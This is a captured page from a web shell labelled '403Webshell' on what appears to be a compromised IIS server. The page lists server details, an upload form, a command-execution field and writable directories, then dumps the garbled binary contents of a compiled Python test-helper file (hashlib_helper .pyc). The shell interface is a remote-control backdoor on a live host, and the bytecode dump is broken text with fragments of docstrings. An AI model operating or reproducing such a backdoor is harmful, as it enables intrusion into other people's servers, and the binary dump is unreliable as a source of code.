403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/support/__pycache__/hashlib_helper.cpython-315.pyc
R
>lqjX�c%���]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QHGsQP
-Qks	QP
-Qks
QP
-QksQQ\O2s
QQ	\O2s\\\\O$22s\\O(\O*\O,\O.12sQ
Q2sQQ
2sQQ\2sQQ\2sQQ2s\\O>\\O>QQQQQ2\O@\\O@QQQQQ2\OB\\OBQQQQQ 2\OD\\ODQ!QQ"Q#Q$2\OF\\OFQ%QQ&Q'Q(2\OH\\OHQ)QQ*Q+Q,2\OJ\\OJQ-QQ-Q.Q/2\OL\\OLQ0QQ0Q1Q22\ON\\ONQ3QQ3Q4Q52\OP\\OPQ6QQ6Q7Q82\O(\\O(Q9Q:Q9Q;Q<2\O*\\O*Q=Q:Q=Q>Q?2\O,\\O,Q@QQ@PQA2\O.\\O.QBQQBPQC2-2s)\)OU2\6XfPgQDs+QEs,QFs-\Tt-tFDo\U2\QGU02aJ	tos.\2\.\O($\2\.\O*$\QH2\.\O,$\QI2\.\O.$\\.2s.\.OU2\6XfPgQJs/QKs0QLs1QMs2QNs3QOs4QPs5QQQR\Ol2s7QSQT\72s8QUs9QVs:QWs;QXs<QyQYP	-QZkks=QYP	-Q[ks>QYP	-Q\ks?QYP	-Q]ks@Q^QzQYP	-Q_ksAQ`Qa2sBQbQc\B2sCQdQe\B2sDQfQg\B2sEQ{QhksFQisGQjsHQksIQlsJQmsKQnsLQosMQpsNQqsOQrsPQssQ\O�QtP
QuP
-Qvk2sS\O�Q^Qz-Qwk2sT\O�Q^Qz-Qxk2sUP!ttoh)|�)�
import_helper�strictc���Ue
U%cPgQ![U[2%fPU2gUOQ2]6�fPU2gUOQ]Q5vq#V#1!)a:Parse a fully-qualified name ``<module_name>.<member_name>``.

The ``module_name`` component contains one or more dots.
The ``member_name`` component does not contain any dot.

If *strict* is true, *fullname* must be a string. Otherwise,
it can be None, and, ``module_name`` and ``member_name`` will
also be None.
�.)�maxsplit�NN)�
isinstance�str�count�rsplit)�fullnamer�module_name�member_names&$  �0C:\Python315\\Lib\test\support\hashlib_helper.py�_parse_fullnamersj������z����h��$�$�.�h�.�$��>�>�#��!�#�-�X�-�#�'���s�Q��?��K��#�#�c��UeU%c[Q2gP![OU2![coS%cSgPo=P!Po=hh9h)z{Import a module from its fully-qualified name.

If *strict* is false, import failures are suppressed and None is returned.
zno module to import)�ImportError�	importlib�
import_module)r
r�excs&$ r�_import_modulersM��
����3�4�4����&�&�{�3�3������I����s�2�	A�A�A
�A
�
Ac��UeU%c[QU02gP![VQ5oU%c[V12![V1P2!)zkImport a member from a module.

If *strict* is false, import failures are suppressed and None is returned.
zno member to import from �r)rr�getattr)r
rr�modules&&$ r�_import_memberr0sH��
���� 9�+��G�H�H��
�K�
7�F�
��v�+�+��6��-�-rc�~�\sQs]?s\O
2s\O
2s\O
2sQs	P!)�Implementation�)
�__name__�
__module__�__qualname__�__firstlineno__�enum�auto�builtin�openssl�hashlib�__static_attributes__rrrrr?s#���i�i�k�G��i�i�k�G��i�i�k�Grrc�(`�\sQs]HsnQs\O2s\O2s\O2s	\O2s
\O2s\O2s\O2s
\O2s\O2s\O2s\O2s\O2s\O2s\O2sQs\Q2s\Q2sQsUsP!)�_HashIdz�Enumeration containing the canonical digest names.

Those names should only be used by hashlib.new() or hmac.new().
Their support by _hashlib.new() is not necessarily guaranteed.
c��[U2!�N)r	��selfs&r�__repr__�_HashId.__repr__bs���4�y�rc�&�UOQ2!)z@Indicate whether the hash is an extendable-output hash function.�shake_��
startswithr.s&r�is_xof�_HashId.is_xofe������x�(�(rc�&�UOQ2!)z3Indicate whether the hash is a keyed hash function.�blake2r4r.s&r�is_keyed�_HashId.is_keyedjr8rr)r r!r"r#�__doc__r$r%�md5�sha1�sha224�sha256�sha384�sha512�sha3_224�sha3_256�sha3_384�sha3_512�	shake_128�	shake_256�blake2s�blake2br0�propertyr6r;r)�__classdictcell__��
__classdict__s@rr+r+Hs�������)�)�+�C��9�9�;�D�
�Y�Y�[�F�
�Y�Y�[�F�
�Y�Y�[�F�
�Y�Y�[�F��y�y�{�H��y�y�{�H��y�y�{�H��y�y�{�H��	�	��I��	�	��I��i�i�k�G��i�i�k�G���)��)��)��)rr+c�T`�\sQs]wsnQsQQP
-QkksQP
-QksQP
-QksQsUs	P!)�
_HashInfoItemz�Interface for interacting with a named object.

The object is entirely described by its fully-qualified *fullname*.

*fullname* must be None or a string "<module_name>.<member_name>".
rc�H�[VQ5vq4VmV0mV@mP!)r)rrr
r)r/rrr
rs&&$  r�__init__�_HashInfoItem.__init__s ��#2�8�#K� �� �
�&��&�rc�2�[UOUQ5!)z�Import the described module.

If *strict* is true, an ImportError may be raised if importing fails,
otherwise, None is returned on error.
r)rr
�r/rs&$rr�_HashInfoItem.import_module�s���d�.�.�v�>�>rc�H�[UOUOUQ5!)z�Import the described member.

If *strict* is true, an AttributeError or an ImportError may be
raised if importing fails; otherwise, None is returned on error.
r)rr
rrVs&$r�
import_member�_HashInfoItem.import_member�s$������d�.�.�v�
�	
r)rrr
r-)
r r!r"r#r=rSrrYr)rMrNs@rrQrQws3�����'��'�?�e�?�
�e�
�
rrQc�8`�\sQs]�snQsQsQsQsQsUs	P!)�
_HashInfoBaseagBase dataclass containing "backend" information.

Subclasses may define an attribute named after one of the known
implementations ("builtin", "openssl" or "hashlib") which stores
an _HashInfoItem object.

Those attributes can be retrieved through __getitem__(), e.g.,
``info["builtin"]`` returns the _HashInfoItem corresponding to
the builtin implementation.
c�N�[U[2%fPU2gVmP!r-)rr+�canonical_name)r/r^s&&rrS�_HashInfoBase.__init__�s ���.�'�2�2�B�N�B�2�,�rc��[U2o[V2o[U[2%f[U2gU![cSOS2Pgh9h[cSOS2Pgh9hr-)r�
ValueError�invalid_implementation_errorr�AttributeErrorrrQ�KeyError)r/�implementation�attrname�providers&&  r�__getitem__�_HashInfoBase.__getitem__�s���	N�%�n�5�H�	N��t�.�H��(�M�2�2��>�*�*�����	N��3�3�N�C��M�	N��
�	N��3�3�N�C��M�	N�s �=�A�	A�A�	A<�(A<c�>�QUQUO0o[U2!)zno implementation z for )r^�AssertionError)r/re�msgs&& rrb�*_HashInfoBase.invalid_implementation_error�s'��"�>�"2�%��8K�8K�7L�M���c�"�"r�r^)
r r!r"r#r=rSrhrbr)rMrNs@rr\r\�s����	�-�
�#�#rr\c�f``�\sQs]�snQsU1QksQsQsQsQP
-Qks	QP
-Qks
Q	sUsU9s
!)
�
_HashTypeInfoaDataclass containing information for hash functions types.

- *canonical_name* must be a _HashId.

- *builtin* is the fully-qualified name for the builtin HACL* type,
  e.g., "_md5.MD5Type".

- *openssl* is the fully-qualified name for the OpenSSL wrapper type,
  e.g., "_hashlib.HASH".
c�p:�[RU_U2[UP	Q5Um[UP	Q5UmP!�Tr)�superrSrQr&r')r/r^r&r'�	__class__s&&&&�rrS�_HashTypeInfo.__init__�s,���
����(�$�W�T�:���$�W�T�:��rc�(�V*O!)z�Get the fully qualified name of a given implementation.

This returns a string of the form "MODULE_NAME.OBJECT_NAME" or None
if the hash function does not have a corresponding implementation.

*implementation* must be "builtin" or "openssl".
�r�r/res&&rr�_HashTypeInfo.fullname�����#�,�,�,rc�(�V*O!)z;Get the name of the module containing the hash object type.�r
rxs&&rr
�_HashTypeInfo.module_name�����#�/�/�/rc�(�V*O!)z+Get the name of the hash object class name.�rrxs&&r�object_type_name�_HashTypeInfo.object_type_name�r~r�
allow_skipc��V*oUO2oU%c*Ue&QUO0o[UOV2gU!)zyImport the module containing the hash object type.

On error, return None if *allow_skip* is false, or raise SkipNoHash.
zcannot import module )rr
�
SkipNoHashr^)r/rer��targetr�reasons&&$   rr�_HashTypeInfo.import_module�sL��
�%���%�%�'���&�.�,�V�-?�-?�,@�A�F��T�0�0�.�I�I��
rc��V*oUO2oU%c*Ue&QUO0o[UOV2gU!)zhGet the runtime hash object type.

On error, return None if *allow_skip* is false, or raise SkipNoHash.
zcannot import class )rYrr�r^)r/rer�r��memberr�s&&$   r�import_object_type� _HashTypeInfo.import_object_type�sJ��
�%���%�%�'���&�.�+�F�O�O�+<�=�F��T�0�0�.�I�I��
r)r&r')r r!r"r#r=rSrr
r�rr�r)rM�
__classcell__�rtrOs@@rrprp�s;����	�;�
-�0�0�
�%�
�
�u�
�
rrpc�N``�\sQs]�snQsQU1QkksQsQsQsQs	Us
U9s!)�
_HashFuncInfoa�Dataclass containing information for hash functions constructors.

- *canonical_name* must be a _HashId.

- *builtin* is the fully-qualified name of the HACL*
  hash constructor function, e.g., "_md5.md5".

- *openssl* is the fully-qualified name of the "_hashlib" method
  for the OpenSSL named constructor, e.g., "_hashlib.openssl_md5".

- *hashlib* is the fully-qualified name of the "hashlib" method
  for the explicit named hash constructor, e.g., "hashlib.md5".
c�:�[RU_U2[UP	Q5Um[UP
Q5Um[UP
Q5UmP!rr)rsrSrQr&r'r()r/r^r&r'r(rts&&&&&�rrS�_HashFuncInfo.__init__s:���
����(�$�W�T�:���$�W�U�;���$�W�U�;��rc�(�V*O!)z�Get the fully qualified name of a given implementation.

This returns a string of the form "MODULE_NAME.METHOD_NAME" or None
if the hash function does not have a corresponding implementation.

*implementation* must be "builtin", "openssl" or "hashlib".
rwrxs&&rr�_HashFuncInfo.fullname
rzrc�(�V*O!)zrGet the name of the constructor function module.

The *implementation* must be "builtin", "openssl" or "hashlib".
r|rxs&&rr
�_HashFuncInfo.module_names��
�#�/�/�/rc�(�V*O!)z�Get the name of the constructor function module method.

Use fullname() to get the constructor function fully-qualified name.

The *implementation* must be "builtin", "openssl" or "hashlib".
r�rxs&&r�method_name�_HashFuncInfo.method_names���#�/�/�/r)r&r(r'r)r r!r"r#r=rSrr
r�r)rMr�r�s@@rr�r��s#�����<�-�0�0�0rr�c�0`�\sQsQsnQsQQksQsUsP!)�	_HashInfo�(aDataclass containing information for supported hash functions.

Attributes
----------
canonical_name : _HashId
    The hash function canonical name.
type : _HashTypeInfo
    The hash object types information.
func : _HashTypeInfo
    The hash object constructors information.
c��[U[2%fPU2gVm[UUU2Um[UUUU2UmP!)a�
- *canonical_name* must be a _HashId.

- *builtin_object_type_fullname* is the fully-qualified name
  for the builtin HACL* type, e.g., "_md5.MD5Type".

- *openssl_object_type_fullname* is the fully-qualified name
  for the OpenSSL wrapper type, e.g., "_hashlib.HASH".

- *builtin_method_fullname* is the fully-qualified name
  of the HACL* hash constructor function, e.g., "_md5.md5".

- *openssl_method_fullname* is the fully-qualified name
  of the "_hashlib" module method for the explicit OpenSSL
  hash constructor function, e.g., "_hashlib.openssl_md5".

- *hashlib_method_fullname* is the fully-qualified name
  of the "hashlib"  module method for the explicit hash
  constructor function, e.g., "hashlib.md5".
)rr+r^rp�typer��func)r/r^�builtin_object_type_fullname�openssl_object_type_fullname�builtin_method_fullname�openssl_method_fullname�hashlib_method_fullnames&&&&&&&rrS�_HashInfo.__init__5sQ��:�.�'�2�2�B�N�B�2�,��!��(�(�
��	�
"��#�#�#�	
��	r)r^r�r�r)r r!r"r#r=rSr)rMrNs@rr�r�(s����
�)
�)
rr�z_md5.MD5Typez
_hashlib.HASHz_md5.md5z_hashlib.openssl_md5zhashlib.md5z_sha1.SHA1Typez
_sha1.sha1z_hashlib.openssl_sha1zhashlib.sha1z_sha2.SHA224Typez_sha2.sha224z_hashlib.openssl_sha224zhashlib.sha224z_sha2.SHA256Typez_sha2.sha256z_hashlib.openssl_sha256zhashlib.sha256z_sha2.SHA384Typez_sha2.sha384z_hashlib.openssl_sha384zhashlib.sha384z_sha2.SHA512Typez_sha2.sha512z_hashlib.openssl_sha512zhashlib.sha512z_sha3.sha3_224z_hashlib.openssl_sha3_224zhashlib.sha3_224z_sha3.sha3_256z_hashlib.openssl_sha3_256zhashlib.sha3_256z_sha3.sha3_384z_hashlib.openssl_sha3_384zhashlib.sha3_384z_sha3.sha3_512z_hashlib.openssl_sha3_512zhashlib.sha3_512z_sha3.shake_128z_hashlib.HASHXOFz_hashlib.openssl_shake_128zhashlib.shake_128z_sha3.shake_256z_hashlib.openssl_shake_256zhashlib.shake_256z_blake2.blake2szhashlib.blake2sz_blake2.blake2bzhashlib.blake2bc�p�[U*o[U[2%fPU2gUO!r-)�_HASHINFO_DATABASErr�r���name�infos& r�get_hash_type_infor���.���d�#�D��d�I�&�&�,��,�&��9�9�rc�p�[U*o[U[2%fPU2gUO!r-)r�rr�r�r�s& r�get_hash_func_infor��r�rc#�z �[O2FDvqV7fJ
UOw�	J	P!3hr-)r��itemsr�)�excludedr�r�s&  r�_iter_hash_func_infor��s)���(�.�.�0�
�����)�)�O�1�s�;�;z_hmac.compute_z_hmac.compute_blake2s_32z_hmac.compute_blake2b_32c�\�[U*o[U[2%fPU2gU!r-)�_HMACINFO_DATABASErrQr�s& r�get_hmac_item_infor��s)���d�#�D��d�M�*�*�0�D�0�*��Krc�0`�[U[2%f	UU2!UnROOQ2oUe1U1QkoROQ*UmRO
UmLUOo[UU22oURmR!)�
setUpClassc�&:�[RU_2P!r-)rsr�)�cls�decorated_classs&�rr��+_decorate_func_or_class.<locals>.setUpClasss����/�3�2�4rz.setUpClass)	rr��__dict__�getr"r!�__func__�classmethodr�)�decorator_func�
func_or_classr�r�s&& @r�_decorate_func_or_classr�s�����m�T�*�*��m�,�,�#�O� �)�)�-�-�l�;�J���	5�"1�">�">��"N�
�� /� :� :�
���(�(�
��^�J�7�8�J�!+�O���rc�H`�U1Qko[O[U2!)zmObtain a decorator by chaining multiple decorators.

The decorators are applied in the order they are given.
c�8:�[OQRU2!)c��UU2!r-r)�w�decos&&r�<lambda>�;_chain_decorators.<locals>.decorator_func.<locals>.<lambda>s���Q�r)�	functools�reduce)r��
decoratorss&�rr��)_chain_decorators.<locals>.decorator_funcs������ 7��T�J�Jr�r��partialr�)r�r�sf r�_chain_decoratorsr�s���
K����4�n�E�Erc���[OU2o[OU2oV#6wc0UOQUO0o[QUQUQU02gP![cP!h9h)z�Ensure that a wrapper has the same signature as the wrapped function.

This is used to guarantee that a TypeError raised due to a bad API call
is raised consistently (using variadic signatures would hide such errors).
rzsignature for z() is incorrect:
  expect: z
  actual: )�inspect�	signaturerar!r"rk)�wrapper�wrapped�wrapped_sig�wrapper_sigrs&&   r�_ensure_wrapper_signaturer�s�����'�'��0���#�#�G�,�K��!��(�(�)��7�+?�+?�*@�A����X�J�'�$�
�&�$�
�
'�
�	
�"��	����s�A&�&	A5�0A5�4A5c�P```�UUU1Qko[O[U2!)c�P:`�[OR2UUUU1Qk2oU!)c�*:�RR-R@RU-U@!r-r)�args�kwargsr��test�	test_args�test_kwargss*,����rr��D_make_conditional_decorator.<locals>.decorator_func.<locals>.wrapper3s ����)�+�{�+���(��(�(r)r��wraps)r�r�r�r�r�sf ���rr��3_make_conditional_decorator.<locals>.decorator_func2s%���	����	�	)�
�	)��rr�)r�r�r�r�sbjl r�_make_conditional_decoratorr�1s�������4�n�E�Erc�L�[Q2o[OUPIQ2!)�_hashlibzrequires _hashlib�r�unittest�skipIf)r�s r�requires_openssl_hashlibr�;s#���j�)�H��?�?�8�t�+�-@�A�Arc�L�[Q2o[OUPIQ2!)�_hmaczrequires _hmacr�)r�s r�requires_builtin_hmacr�@s"���7�#�E��?�?�5�D�=�*:�;�;rc�<``�\sQsQsnQsQU1QkksQsUsU9s!)r��Ez9A SkipTest exception raised when a hash is not available.c�:�QUQU80,oUdUO]UQ02[RU_	QO[	PU222P!)�missingzhash algorithm z: � )�insertrsrS�join�filter)r/�
digestnamerer��partsrts&&&& �rrS�SkipNoHash.__init__HsM����N�o�j�^�,L�M�����L�L��v�h�b�M�*�
������&��u�"5�6�7rrr)	r r!r"r#r=rSr)rMr�r�s@@rr�r�Es����C�8�8rr�c�8``�\sQsQsnQU1QkksQsUsU9s!)�SkipNoHashInCall�Oc�0:�[RU_V#QU02P!)zcannot use )rsrS)r/r�r�rerts&&&&�rrS�SkipNoHashInCall.__init__Qs���
����{�4�&�5I�Jrrr-)r r!r"r#rSr)rMr�r�s@@rr�r�Os����K�Krr�c�f�[U[2%fPU2g[OQ2o[	Q2oU%cUdSLSoUO
U1-U@[OUO
U2![c o[SOQ0S2SgPo=hh9h)a!Check availability of [hashlib|_hashlib].new(digestname, **kwargs).

If *openssl* is True, module is "_hashlib" (C extension module),
otherwise it is "hashlib" (pure Python interface).

The constructor function is returned (without binding **kwargs),
or SkipTest is raised if none exists.
r(r�z.new)rr	rrr�newrar�r r�r�)r�r'r�r(r�rrs"",    r�_hashlib_newrUs����j�#�&�&�2�
�2�&��%�%�i�0�G��j�)�H� �X�%9�X�w�F�N��
�
�:�(��(����V�Z�Z��4�4���N��&�/�/�!2�$�7��D�#�M��N�s�B�	B0�B0�B+�+B0c��[U[2%fPU2g[U[2%fPU2gUQU0o[OU2o[
VA2oUQ-U@U![co[SQ2SgPo=hh9h[co[SQ2SgPo=hh9h[co[SQ2SgPo=hh9h)aCheck availability of <module_name>.<digestname>(**kwargs).

- The *module_name* is the C extension module name based on HACL*.
- The *digestname* is one of its member, e.g., 'md5'.

The constructor function is returned, or SkipTest is raised if none exists.
rr&r�	rr	rrrr�rrcra)r
r�r�r�builtin_moduler�constructors"",    r�
_builtin_hashrls����k�3�'�'�4��4�'��j�#�&�&�2�
�2�&���a�
�|�,�H�7�"�0�0��=��7��n�9��7���f������7���9�-�3�6��7���7���9�-�3�6��7���7���9�-�3�6��7�sZ�A2�B�'	B2�2	B�<B�=
B
�
B�	B/�B/�
B*�*B/�2	C�<C�=
C
�
Cc�X�[U[2%fPU2g[OQ2oUOU1-U@[OUOU2![co[SQ2SgPo=hh9h[co[QS2SgPo=hh9h)z�Check availability of _hashlib.new(digestname, **kwargs).

The constructor function is returned (without binding **kwargs),
or SkipTest is raised if none exists.
r�r'�_hashlib.new)rr	rrrr�r�rar�r�r�)r�r�r�rs",  r�_openssl_newr�s����j�#�&�&�2�
�2�&�9��*�*�:�6��D����Z�*�6�*����X�\�\�:�6�6��
�9���Y�/�S�8��9���D��~�z�:��C��D�s:�A,�B�,	B	�6B	�7
B�B	�	B)�B)�
B$�$B)c�p�[U[2%fPU2gQU0oQU0o[OQ2o[
VB2oUQ-U@U![co[SQ2SgPo=hh9h[co[SQ2SgPo=hh9h[co[SQ2SgPo=hh9h)z�Check availability of _hashlib.openssl_<digestname>(**kwargs).

The constructor function is returned (without binding **kwargs),
or SkipTest is raised if none exists.
�openssl_z	_hashlib.r�r'rr)r�r�r�rr�rrs",     r�
_openssl_hashr�s����j�#�&�&�2�
�2�&��Z�L�)�K��;�-�(�H�7��*�*�:�6��7��h�4��7���f������7���9�-�3�6��7���7���9�-�3�6��7���7���9�-�3�6��7�sY�A�A8�
	B�	A5�"A5�#
A0�0A5�8	B�B�
B�B�	B5�"B5�#
B0�0B5�usedforsecurityc�(�[[VUQ5!)avDecorator raising SkipTest if a hashing algorithm is not available.

The hashing algorithm may be missing, blocked by a strict crypto policy,
or Python may be configured with `--with-builtin-hashlib-hashes=no`.

If 'openssl' is True, then the decorator checks that OpenSSL provides
the algorithm. Otherwise the check falls back to (optional) built-in
HACL* implementations.

The usedforsecurity flag is passed to the constructor but has no effect
on HACL* implementations.

Examples of exceptions being suppressed:
ValueError: [digital envelope routines: EVP_DigestInit_ex] disabled for FIPS
ValueError: unsupported hash type md4
�r)r�r)r�r'rs&&$r�requires_hashdigestr�s��"'��j�?��rc�&�[[VQ5!)z�Decorator raising SkipTest if an OpenSSL hashing algorithm is missing.

The hashing algorithm may be missing or blocked by a strict crypto policy.
r)r�r)r�rs&$r�requires_openssl_hashdigestr�s��
'��j��rc��[U[2%fPU2g[[UOUO
UQ5!�r)rrQr�rr
r)�itemrs&$r�+_make_requires_builtin_hashdigest_decoratorr�s?���d�M�*�*�0�D�0�*�&��������'�	�rc�H�[U2o[UOUQ5!)zCDecorator raising SkipTest if a HACL* hashing algorithm is missing.r)r�rr&)r^rr�s&$ r�requires_builtin_hashdigestr�s"���n�-�D�6����o��r�excludec�@`�[U1Qk[U222!)zEDecorator raising SkipTest if one HACL* hashing algorithm is missing.c3�^:�SF �Do[UORQ5w�	J	P!3hr)rr&)�.0r�rs& �r�	<genexpr>�*requires_builtin_hashes.<locals>.<genexpr>�s-��4���4�d�	4��L�L�/�	
�	
�3�s�%-)r�r�)rrs$dr�requires_builtin_hashesr�s$�����+�7�3���rc��`�\sQsQsnQsP	sQsQs\Q2s	\Q2s
\Q2s\Q2s\Q	2s
\Q
2s\Q2s\Q2s\Q
2s\Q2sQsUsP!)�HashFunctionsTrait��a�Mixin trait class containing hash functions.

This class is assumed to have all unitest.TestCase methods but should
not directly inherit from it to prevent the test suite being run on it.

Subclasses should implement the hash functions by returning an object
that can be recognized as a valid digestmod parameter for both hashlib
and HMAC. In particular, it cannot be a lambda function as it will not
be recognized by hashlib (it will still be accepted by the pure Python
implementation of HMAC).
c�4�UOU[2P!r-)�assertInr+�r/r�s&&r�is_valid_digest_name�'HashFunctionsTrait.is_valid_digest_name�s���
�
�j�'�*rc�R�UOU2UOQU02P!)zmissing hash function: )r%�skipTestr$s&&r�_find_constructor�$HashFunctionsTrait._find_constructors$���!�!�*�-��
�
�/�
�|�<�=rc�&�UOQ2!)r>�r)r.s&rr��HashFunctionsTrait.<lambda>s��� 6� 6�u� =rc�&�UOQ2!)r?r,r.s&rr�r-s���!7�!7��!?rc�&�UOQ2!)r@r,r.s&rr�r-
���4�#9�#9�(�#Crc�&�UOQ2!)rAr,r.s&rr�r-r0rc�&�UOQ2!)rBr,r.s&rr�r-r0rc�&�UOQ2!)rCr,r.s&rr�r-
r0rc�&�UOQ2!)rDr,r.s&rr�r-���T�%;�%;�J�%Grc�&�UOQ2!)rEr,r.s&rr�r-r5rc�&�UOQ2!)rFr,r.s&rr�r-r5rc�&�UOQ2!)rGr,r.s&rr�r-r5rr)r r!r"r#r=rr%r)rLr>r?r@rArBrCrDrErFrGr)rMrNs@rr r �s�����
��O�+�>�
�=�
>�C��?�@�D�
�C�
D�F�
�C�
D�F�
�C�
D�F�
�C�
D�F��G�H�H��G�H�H��G�H�H��G�H�Hrr c�,`�\sQsQsnQsQsQsUsP!)�NamedHashFunctionsTrait�zsTrait containing named hash functions.

Hash functions are available if and only if they are available in hashlib.
c�<�UOU2[U2!r-)r%r	r$s&&rr)�)NamedHashFunctionsTrait._find_constructors���!�!�*�-��:��rr�r r!r"r#r=r)r)rMrNs@rr:r:s�����
�rr:c�,`�\sQsQsnQsQsQsUsP!)�OpenSSLHashFunctionsTrait� zvTrait containing OpenSSL hash functions.

Hash functions are available if and only if they are available in _hashlib.
c�R�UOU2[VOQ5!r)r%rrr$s&&rr)�+OpenSSLHashFunctionsTrait._find_constructor&s#���!�!�*�-��Z�9M�9M�N�Nrrr>rNs@rr@r@ s�����
O�Orr@c�,`�\sQsQsnQsQsQsUsP!)�BuiltinHashFunctionsTrait�-z�Trait containing HACL* hash functions.

Hash functions are available if and only if they are available in C.
In particular, HACL* HMAC-MD5 may be available even though HACL* md5
is not since the former is unconditionally built.
c��UOU2[U2o[UOOUOO
UOQ5!r)r%r�rr&r
rr)r/r�r�s&& rr)�+BuiltinHashFunctionsTrait._find_constructor5sJ���!�!�*�-�!�*�-����L�L�$�$��L�L�$�$� �0�0�
�	
rrr>rNs@rrErE-s�����
�
rrEc	��,oSFD0o[U2oUeJUO[UQU22J2	[V!Q5!)z�Get the largest GIL_MINSIZE value for the given cryptographic modules.

The valid module names are the following:

- _hashlib
- _md5, _sha1, _sha2, _sha3, _blake2
- _hmac
�_GIL_MINSIZE)�default)r�appendr�max)�
modules_namesrK�sizesr
rs&&   r�find_gil_minsizerP?sE��
�E�$����,�����L�L�����A�B�%��u�&�&rc�N```�[R[2%fPR2g[Q29ne[O2![
ORO9n2QQP	QP-UUU1Qkkk2o[UR2[OOQU2!)z/Block OpenSSL implementation of _hashlib.new().r�r�stringc�J:�UR6XcROR2gRVV#Q5!))rrR��UnsupportedDigestmodError)r��datarrRr��blocked_namer�s&&$$���rr�-_block_openssl_hash_new.<locals>._hashlib_newXs0����<���4�4�\�B�B��t�'6�G�	Grr�r�rr	r�
contextlib�nullcontextr�r�r�r�r��mock�patch)rWrr�r�sf @@r�_block_openssl_hash_newr_Ps�����l�C�(�(�6�,�6�(�#�:�.�.��7��%�%�'�'��_�_����,�W�-�G��G�T�G�G�.�G��l�G�4��=�=���~�|�<�<rc�B```�[R[2%fPR2g[Q29ne[O2![
ORO9n2QUUU1Qkk2o[UR2[OOQU2!)z'Block OpenSSL HMAC-HASH implementation.r�c�H:�UR6XcROR2gRVU2!r-rT)�keyrl�	digestmodr�rWr�s&&&���rr��(_block_openssl_hmac_new.<locals>.wrapperks)�����$��4�4�\�B�B��s��+�+rz_hashlib.hmac_new)rN)rr	rr[r\r�r��hmac_newr�r�r]r^)rWr�r�r�sf @@r�_block_openssl_hmac_newrfcs�����l�C�(�(�6�,�6�(�#�:�.�.��7��%�%�'�'��_�_�� 1� 1�1�W�2�,�,�3�,�
�g�w�/��=�=���2�G�<�<rc�>```�[R[2%fPR2g[Q29ne[O2![
ORO9n2UUU1Qk2o[UR2[OOQU2!)z7Block OpenSSL HMAC-HASH one-shot digest implementation.r�c�H:�UR6XcROR2gRVU2!r-rT)rbrl�digestr�rWr�s&&&���r�_hashlib_hmac_digest�8_block_openssl_hmac_digest.<locals>._hashlib_hmac_digest}s)����\�!��4�4�\�B�B��s��(�(rz_hashlib.hmac_digest)rr	rr[r\r�r��hmac_digestr�r�r]r^)rWrjr�r�sf @@r�_block_openssl_hmac_digestrmus�����l�C�(�(�6�,�6�(�#�:�.�.��7��%�%�'�'��_�_�� 4� 4�4�W�5�)�6�)�
�2�G�<��=�=���5�7K�L�Lrc�```�[U[2%fPU2gUO2U6XfPQU02gU[7fPQU02g[O
Q2o[
UQ2oUO2oUOUP2UOUO2P2[
UQ2n[U2OOn[OR2UU1Qk2o[O O"O%UUUQ5!)z=Block a buitin-in hash name from the hashlib.new() interface.zinvalid name: zinvalid hash: r(�__builtin_constructor_cache�__get_builtin_constructorc��:�[O29^tt^2[OQ2oPUOR$RU2ttPPP2!)%fhP!9h)�sys)r�isolated_modulesrr�modules)r�rr�builtin_module_name�get_builtin_constructors& ��r�get_builtin_constructor_mock�=_block_builtin_hash_new.<locals>.get_builtin_constructor_mock�sH���
�
+�
+�
-�
-��)�)�%�0�C�/3�C�K�K�+�,�*�4�0�.�
-�
-�
-�s�-A�A)	�!A)	)rpro)rr	�lowerr+rrr�copy�pop�upperr�r&r
r�r�r�r]r^�multiple)r�r(�builtin_constructor_cache�builtin_constructor_cache_mockrwrurvs&    @@r�_block_builtin_hash_newr��s����d�C� � �&�$�&� ��:�:�<�4��8�>�$��!8�8���7�?�3�n�T�F�3�3�?��%�%�i�0�G� '��1N� O��%>�%C�%C�%E�"�"�&�&�t�T�2�"�&�&�t�z�z�|�T�:�
&�g�/J�K��,�T�2�:�:�F�F���_�_�,�-�1�.�1��=�=���'�'��">�$B�(��rc�B```�[R[2%fPR2g[Q29ne[O2![
ORO9n2QUUU1Qkk2o[UR2[OOQU2!)r�c�H:�UR6XcROR2gRVU2!r-��UnknownHashError)rbrlrcr�rWr�s&&&���r�	_hmac_new�*_block_builtin_hmac_new.<locals>._hmac_new�s)�����$��(�(��6�6��s��+�+rz	_hmac.newrrZ)rWr�r�r�sf @@r�_block_builtin_hmac_newr��s�����l�C�(�(�6�,�6�(� ��(�(��1��%�%�'�'��_�_��	�	�)�W�*�,�,�+�,�
�i��1��=�=���{�I�6�6rc�>```�[R[2%fPR2g[Q29ne[O2![
ORO9n2UUU1Qk2o[UR2[OOQU2!)r�c�H:�UR6XcROR2gRVU2!r-r�)rbrlrir�rWr�s&&&���r�_hmac_compute_digest�8_block_builtin_hmac_digest.<locals>._hmac_compute_digest�s)����\�!��(�(��6�6��s��(�(rz_hmac.compute_digest)rr	rr[r\r�r��compute_digestr�r�r]r^)rWr�r�r�sf @@r�_block_builtin_hmac_digestr��s�����l�C�(�(�6�,�6�(� ��(�(��1��%�%�'�'��_�_�� 4� 4�4�W�5�)�6�)�
�2�G�<��=�=���5�7K�L�Lrc��[U2U*oUO29oe[O2![O
U2U2o[
